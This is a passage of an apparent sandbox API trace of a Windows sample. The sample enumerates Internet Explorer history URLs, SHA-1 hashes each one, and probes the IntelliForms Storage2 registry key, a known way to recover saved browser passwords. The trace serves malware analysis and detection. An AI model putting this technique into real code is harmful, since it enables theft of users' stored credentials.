lpString1="523F990F0080FF707C8D562B", lpString2="26" | out: lpString1="523F990F0080FF707C8D562B26") returned="523F990F0080FF707C8D562B26" [0097.433] LocalFree (hMem=0x72912f0) returned 0x0 [0097.433] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="60") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C8D562B26") returned 26 [0097.433] lstrlenW (lpString="60") returned 2 [0097.433] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815740 [0097.433] lstrcpyW (in: lpString1=0x2815740, lpString2="523F990F0080FF707C8D562B26" | out: lpString1="523F990F0080FF707C8D562B26") returned="523F990F0080FF707C8D562B26" [0097.433] lstrcatW (in: lpString1="523F990F0080FF707C8D562B26", lpString2="60" | out: lpString1="523F990F0080FF707C8D562B2660") returned="523F990F0080FF707C8D562B2660" [0097.433] LocalFree (hMem=0x7290b70) returned 0x0 [0097.433] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C8D562B2660") returned 28 [0097.433] lstrlenW (lpString="D9") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.434] lstrcpyW (in: lpString1=0x2815670, lpString2="523F990F0080FF707C8D562B2660" | out: lpString1="523F990F0080FF707C8D562B2660") returned="523F990F0080FF707C8D562B2660" [0097.434] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660", lpString2="D9" | out: lpString1="523F990F0080FF707C8D562B2660D9") returned="523F990F0080FF707C8D562B2660D9" [0097.434] LocalFree (hMem=0x2815740) returned 0x0 [0097.434] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="21") returned 2 [0097.434] lstrlenW (lpString="523F990F0080FF707C8D562B2660D9") returned 30 [0097.434] lstrlenW (lpString="21") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815740 [0097.434] lstrcpyW (in: lpString1=0x2815740, lpString2="523F990F0080FF707C8D562B2660D9" | out: lpString1="523F990F0080FF707C8D562B2660D9") returned="523F990F0080FF707C8D562B2660D9" [0097.434] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D9", lpString2="21" | out: lpString1="523F990F0080FF707C8D562B2660D921") returned="523F990F0080FF707C8D562B2660D921" [0097.434] LocalFree (hMem=0x2815670) returned 0x0 [0097.434] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0097.434] lstrlenW (lpString="523F990F0080FF707C8D562B2660D921") returned 32 [0097.434] lstrlenW (lpString="00") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.434] lstrcpyW (in: lpString1=0x2815670, lpString2="523F990F0080FF707C8D562B2660D921" | out: lpString1="523F990F0080FF707C8D562B2660D921") returned="523F990F0080FF707C8D562B2660D921" [0097.434] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D921", lpString2="00" | out: lpString1="523F990F0080FF707C8D562B2660D92100") returned="523F990F0080FF707C8D562B2660D92100" [0097.434] LocalFree (hMem=0x2815740) returned 0x0 [0097.434] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0097.434] lstrlenW (lpString="523F990F0080FF707C8D562B2660D92100") returned 34 [0097.434] lstrlenW (lpString="95") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.434] lstrcpyW (in: lpString1=0x28e7670, lpString2="523F990F0080FF707C8D562B2660D92100" | out: lpString1="523F990F0080FF707C8D562B2660D92100") returned="523F990F0080FF707C8D562B2660D92100" [0097.434] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D92100", lpString2="95" | out: lpString1="523F990F0080FF707C8D562B2660D9210095") returned="523F990F0080FF707C8D562B2660D9210095" [0097.434] LocalFree (hMem=0x2815670) returned 0x0 [0097.434] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D3") returned 2 [0097.434] lstrlenW (lpString="523F990F0080FF707C8D562B2660D9210095") returned 36 [0097.434] lstrlenW (lpString="D3") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.434] lstrcpyW (in: lpString1=0x28e7910, lpString2="523F990F0080FF707C8D562B2660D9210095" | out: lpString1="523F990F0080FF707C8D562B2660D9210095") returned="523F990F0080FF707C8D562B2660D9210095" [0097.434] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D9210095", lpString2="D3" | out: lpString1="523F990F0080FF707C8D562B2660D9210095D3") returned="523F990F0080FF707C8D562B2660D9210095D3" [0097.434] LocalFree (hMem=0x28e7670) returned 0x0 [0097.434] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0097.434] lstrlenW (lpString="523F990F0080FF707C8D562B2660D9210095D3") returned 38 [0097.434] lstrlenW (lpString="4E") returned 2 [0097.434] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.434] lstrcpyW (in: lpString1=0x28e7670, lpString2="523F990F0080FF707C8D562B2660D9210095D3" | out: lpString1="523F990F0080FF707C8D562B2660D9210095D3") returned="523F990F0080FF707C8D562B2660D9210095D3" [0097.435] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D9210095D3", lpString2="4E" | out: lpString1="523F990F0080FF707C8D562B2660D9210095D34E") returned="523F990F0080FF707C8D562B2660D9210095D34E" [0097.435] LocalFree (hMem=0x28e7910) returned 0x0 [0097.435] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.435] lstrlenW (lpString="523F990F0080FF707C8D562B2660D9210095D34E") returned 40 [0097.435] lstrlenW (lpString="E8") returned 2 [0097.435] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.435] lstrcpyW (in: lpString1=0x28e7910, lpString2="523F990F0080FF707C8D562B2660D9210095D34E" | out: lpString1="523F990F0080FF707C8D562B2660D9210095D34E") returned="523F990F0080FF707C8D562B2660D9210095D34E" [0097.435] lstrcatW (in: lpString1="523F990F0080FF707C8D562B2660D9210095D34E", lpString2="E8" | out: lpString1="523F990F0080FF707C8D562B2660D9210095D34EE8") returned="523F990F0080FF707C8D562B2660D9210095D34EE8" [0097.435] LocalFree (hMem=0x28e7670) returned 0x0 [0097.435] CryptDestroyHash (hHash=0x4451370) returned 1 [0097.435] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.435] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.435] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.435] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.435] LocalFree (hMem=0x28e7910) returned 0x0 [0097.435] CoTaskMemFree (pv=0x4451a00) [0097.435] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.435] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv", lpSrch="?") returned 0x0 [0097.435] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.436] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.436] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv") returned 53 [0097.436] CryptHashData (hHash=0x72034c0, pbData=0x71e63a0, dwDataLen=0x6c, dwFlags=0x0) returned 1 [0097.436] CryptGetHashParam (in: hHash=0x72034c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.436] CryptDestroyHash (hHash=0x72034c0) returned 1 [0097.436] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.436] CoTaskMemFree (pv=0x71e63a0) [0097.436] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.436] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg", lpSrch="?") returned 0x0 [0097.436] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.437] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.437] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg") returned 77 [0097.437] CryptHashData (hHash=0x7202e30, pbData=0x432e850, dwDataLen=0x9c, dwFlags=0x0) returned 1 [0097.437] CryptGetHashParam (in: hHash=0x7202e30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.437] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.437] lstrlenW (lpString="") returned 0 [0097.437] lstrlenW (lpString="DE") returned 2 [0097.437] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7223b60 [0097.437] lstrcpyW (in: lpString1=0x7223b60, lpString2="" | out: lpString1="") returned="" [0097.437] lstrcatW (in: lpString1="", lpString2="DE" | out: lpString1="DE") returned="DE" [0097.437] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="83") returned 2 [0097.437] lstrlenW (lpString="DE") returned 2 [0097.437] lstrlenW (lpString="83") returned 2 [0097.437] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8580 [0097.437] lstrcpyW (in: lpString1=0x28c8580, lpString2="DE" | out: lpString1="DE") returned="DE" [0097.437] lstrcatW (in: lpString1="DE", lpString2="83" | out: lpString1="DE83") returned="DE83" [0097.437] LocalFree (hMem=0x7223b60) returned 0x0 [0097.437] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D3") returned 2 [0097.437] lstrlenW (lpString="DE83") returned 4 [0097.437] lstrlenW (lpString="D3") returned 2 [0097.437] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c88a0 [0097.437] lstrcpyW (in: lpString1=0x28c88a0, lpString2="DE83" | out: lpString1="DE83") returned="DE83" [0097.437] lstrcatW (in: lpString1="DE83", lpString2="D3" | out: lpString1="DE83D3") returned="DE83D3" [0097.437] LocalFree (hMem=0x28c8580) returned 0x0 [0097.437] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.437] lstrlenW (lpString="DE83D3") returned 6 [0097.437] lstrlenW (lpString="0D") returned 2 [0097.437] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8580 [0097.437] lstrcpyW (in: lpString1=0x28c8580, lpString2="DE83D3" | out: lpString1="DE83D3") returned="DE83D3" [0097.437] lstrcatW (in: lpString1="DE83D3", lpString2="0D" | out: lpString1="DE83D30D") returned="DE83D30D" [0097.437] LocalFree (hMem=0x28c88a0) returned 0x0 [0097.437] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0097.438] lstrlenW (lpString="DE83D30D") returned 8 [0097.438] lstrlenW (lpString="F0") returned 2 [0097.438] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c88a0 [0097.438] lstrcpyW (in: lpString1=0x28c88a0, lpString2="DE83D30D" | out: lpString1="DE83D30D") returned="DE83D30D" [0097.438] lstrcatW (in: lpString1="DE83D30D", lpString2="F0" | out: lpString1="DE83D30DF0") returned="DE83D30DF0" [0097.438] LocalFree (hMem=0x28c8580) returned 0x0 [0097.438] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="50") returned 2 [0097.438] lstrlenW (lpString="DE83D30DF0") returned 10 [0097.438] lstrlenW (lpString="50") returned 2 [0097.438] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d00c0 [0097.438] lstrcpyW (in: lpString1=0x71d00c0, lpString2="DE83D30DF0" | out: lpString1="DE83D30DF0") returned="DE83D30DF0" [0097.438] lstrcatW (in: lpString1="DE83D30DF0", lpString2="50" | out: lpString1="DE83D30DF050") returned="DE83D30DF050" [0097.438] LocalFree (hMem=0x28c88a0) returned 0x0 [0097.438] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.438] lstrlenW (lpString="DE83D30DF050") returned 12 [0097.438] lstrlenW (lpString="0C") returned 2 [0097.438] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.438] lstrcpyW (in: lpString1=0x71d0010, lpString2="DE83D30DF050" | out: lpString1="DE83D30DF050") returned="DE83D30DF050" [0097.438] lstrcatW (in: lpString1="DE83D30DF050", lpString2="0C" | out: lpString1="DE83D30DF0500C") returned="DE83D30DF0500C" [0097.438] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.438] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.438] lstrlenW (lpString="DE83D30DF0500C") returned 14 [0097.438] lstrlenW (lpString="AD") returned 2 [0097.438] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d00c0 [0097.438] lstrcpyW (in: lpString1=0x71d00c0, lpString2="DE83D30DF0500C" | out: lpString1="DE83D30DF0500C") returned="DE83D30DF0500C" [0097.438] lstrcatW (in: lpString1="DE83D30DF0500C", lpString2="AD" | out: lpString1="DE83D30DF0500CAD") returned="DE83D30DF0500CAD" [0097.438] LocalFree (hMem=0x71d0010) returned 0x0 [0097.438] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0097.438] lstrlenW (lpString="DE83D30DF0500CAD") returned 16 [0097.438] lstrlenW (lpString="DD") returned 2 [0097.438] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.438] lstrcpyW (in: lpString1=0x71d0010, lpString2="DE83D30DF0500CAD" | out: lpString1="DE83D30DF0500CAD") returned="DE83D30DF0500CAD" [0097.438] lstrcatW (in: lpString1="DE83D30DF0500CAD", lpString2="DD" | out: lpString1="DE83D30DF0500CADDD") returned="DE83D30DF0500CADDD" [0097.438] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.438] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.438] lstrlenW (lpString="DE83D30DF0500CADDD") returned 18 [0097.438] lstrlenW (lpString="57") returned 2 [0097.439] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.439] lstrcpyW (in: lpString1=0x7290b70, lpString2="DE83D30DF0500CADDD" | out: lpString1="DE83D30DF0500CADDD") returned="DE83D30DF0500CADDD" [0097.439] lstrcatW (in: lpString1="DE83D30DF0500CADDD", lpString2="57" | out: lpString1="DE83D30DF0500CADDD57") returned="DE83D30DF0500CADDD57" [0097.439] LocalFree (hMem=0x71d0010) returned 0x0 [0097.439] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A0") returned 2 [0097.439] lstrlenW (lpString="DE83D30DF0500CADDD57") returned 20 [0097.439] lstrlenW (lpString="A0") returned 2 [0097.439] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.439] lstrcpyW (in: lpString1=0x72912f0, lpString2="DE83D30DF0500CADDD57" | out: lpString1="DE83D30DF0500CADDD57") returned="DE83D30DF0500CADDD57" [0097.439] lstrcatW (in: lpString1="DE83D30DF0500CADDD57", lpString2="A0" | out: lpString1="DE83D30DF0500CADDD57A0") returned="DE83D30DF0500CADDD57A0" [0097.439] LocalFree (hMem=0x7290b70) returned 0x0 [0097.439] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.439] lstrlenW (lpString="DE83D30DF0500CADDD57A0") returned 22 [0097.439] lstrlenW (lpString="07") returned 2 [0097.439] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.439] lstrcpyW (in: lpString1=0x7290b70, lpString2="DE83D30DF0500CADDD57A0" | out: lpString1="DE83D30DF0500CADDD57A0") returned="DE83D30DF0500CADDD57A0" [0097.439] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0", lpString2="07" | out: lpString1="DE83D30DF0500CADDD57A007") returned="DE83D30DF0500CADDD57A007" [0097.439] LocalFree (hMem=0x72912f0) returned 0x0 [0097.439] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0097.439] lstrlenW (lpString="DE83D30DF0500CADDD57A007") returned 24 [0097.439] lstrlenW (lpString="6E") returned 2 [0097.439] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.439] lstrcpyW (in: lpString1=0x72912f0, lpString2="DE83D30DF0500CADDD57A007" | out: lpString1="DE83D30DF0500CADDD57A007") returned="DE83D30DF0500CADDD57A007" [0097.439] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A007", lpString2="6E" | out: lpString1="DE83D30DF0500CADDD57A0076E") returned="DE83D30DF0500CADDD57A0076E" [0097.439] LocalFree (hMem=0x7290b70) returned 0x0 [0097.439] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0097.439] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E") returned 26 [0097.439] lstrlenW (lpString="05") returned 2 [0097.439] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.439] lstrcpyW (in: lpString1=0x2815670, lpString2="DE83D30DF0500CADDD57A0076E" | out: lpString1="DE83D30DF0500CADDD57A0076E") returned="DE83D30DF0500CADDD57A0076E" [0097.439] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E", lpString2="05" | out: lpString1="DE83D30DF0500CADDD57A0076E05") returned="DE83D30DF0500CADDD57A0076E05" [0097.439] LocalFree (hMem=0x72912f0) returned 0x0 [0097.439] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0097.439] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05") returned 28 [0097.439] lstrlenW (lpString="EB") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815740 [0097.440] lstrcpyW (in: lpString1=0x2815740, lpString2="DE83D30DF0500CADDD57A0076E05" | out: lpString1="DE83D30DF0500CADDD57A0076E05") returned="DE83D30DF0500CADDD57A0076E05" [0097.440] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05", lpString2="EB" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB") returned="DE83D30DF0500CADDD57A0076E05EB" [0097.440] LocalFree (hMem=0x2815670) returned 0x0 [0097.440] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0097.440] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB") returned 30 [0097.440] lstrlenW (lpString="8B") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.440] lstrcpyW (in: lpString1=0x2815670, lpString2="DE83D30DF0500CADDD57A0076E05EB" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB") returned="DE83D30DF0500CADDD57A0076E05EB" [0097.440] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB", lpString2="8B" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B") returned="DE83D30DF0500CADDD57A0076E05EB8B" [0097.440] LocalFree (hMem=0x2815740) returned 0x0 [0097.440] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="58") returned 2 [0097.440] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB8B") returned 32 [0097.440] lstrlenW (lpString="58") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815740 [0097.440] lstrcpyW (in: lpString1=0x2815740, lpString2="DE83D30DF0500CADDD57A0076E05EB8B" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B") returned="DE83D30DF0500CADDD57A0076E05EB8B" [0097.440] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB8B", lpString2="58" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58") returned="DE83D30DF0500CADDD57A0076E05EB8B58" [0097.440] LocalFree (hMem=0x2815670) returned 0x0 [0097.440] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.440] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB8B58") returned 34 [0097.440] lstrlenW (lpString="B6") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.440] lstrcpyW (in: lpString1=0x28e7910, lpString2="DE83D30DF0500CADDD57A0076E05EB8B58" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58") returned="DE83D30DF0500CADDD57A0076E05EB8B58" [0097.440] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58", lpString2="B6" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B6") returned="DE83D30DF0500CADDD57A0076E05EB8B58B6" [0097.440] LocalFree (hMem=0x2815740) returned 0x0 [0097.440] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.440] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB8B58B6") returned 36 [0097.440] lstrlenW (lpString="0C") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.440] lstrcpyW (in: lpString1=0x28e7670, lpString2="DE83D30DF0500CADDD57A0076E05EB8B58B6" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B6") returned="DE83D30DF0500CADDD57A0076E05EB8B58B6" [0097.440] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B6", lpString2="0C" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C") returned="DE83D30DF0500CADDD57A0076E05EB8B58B60C" [0097.440] LocalFree (hMem=0x28e7910) returned 0x0 [0097.440] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.440] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB8B58B60C") returned 38 [0097.440] lstrlenW (lpString="54") returned 2 [0097.440] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.440] lstrcpyW (in: lpString1=0x28e7910, lpString2="DE83D30DF0500CADDD57A0076E05EB8B58B60C" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C") returned="DE83D30DF0500CADDD57A0076E05EB8B58B60C" [0097.441] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C", lpString2="54" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C54") returned="DE83D30DF0500CADDD57A0076E05EB8B58B60C54" [0097.441] LocalFree (hMem=0x28e7670) returned 0x0 [0097.441] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.441] lstrlenW (lpString="DE83D30DF0500CADDD57A0076E05EB8B58B60C54") returned 40 [0097.441] lstrlenW (lpString="6C") returned 2 [0097.441] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.441] lstrcpyW (in: lpString1=0x28e7670, lpString2="DE83D30DF0500CADDD57A0076E05EB8B58B60C54" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C54") returned="DE83D30DF0500CADDD57A0076E05EB8B58B60C54" [0097.441] lstrcatW (in: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C54", lpString2="6C" | out: lpString1="DE83D30DF0500CADDD57A0076E05EB8B58B60C546C") returned="DE83D30DF0500CADDD57A0076E05EB8B58B60C546C" [0097.441] LocalFree (hMem=0x28e7910) returned 0x0 [0097.441] CryptDestroyHash (hHash=0x7202e30) returned 1 [0097.441] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.441] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.441] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.441] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.441] LocalFree (hMem=0x28e7670) returned 0x0 [0097.441] CoTaskMemFree (pv=0x432e850) [0097.441] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.441] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg", lpSrch="?") returned 0x0 [0097.441] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.442] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.442] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg") returned 61 [0097.442] CryptHashData (hHash=0x7202e30, pbData=0x7223a40, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0097.442] CryptGetHashParam (in: hHash=0x7202e30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.442] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.442] lstrlenW (lpString="") returned 0 [0097.442] lstrlenW (lpString="B4") returned 2 [0097.442] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222de0 [0097.442] lstrcpyW (in: lpString1=0x7222de0, lpString2="" | out: lpString1="") returned="" [0097.442] lstrcatW (in: lpString1="", lpString2="B4" | out: lpString1="B4") returned="B4" [0097.442] _vsnwprintf (in: _Buffer=0x54df9f8, 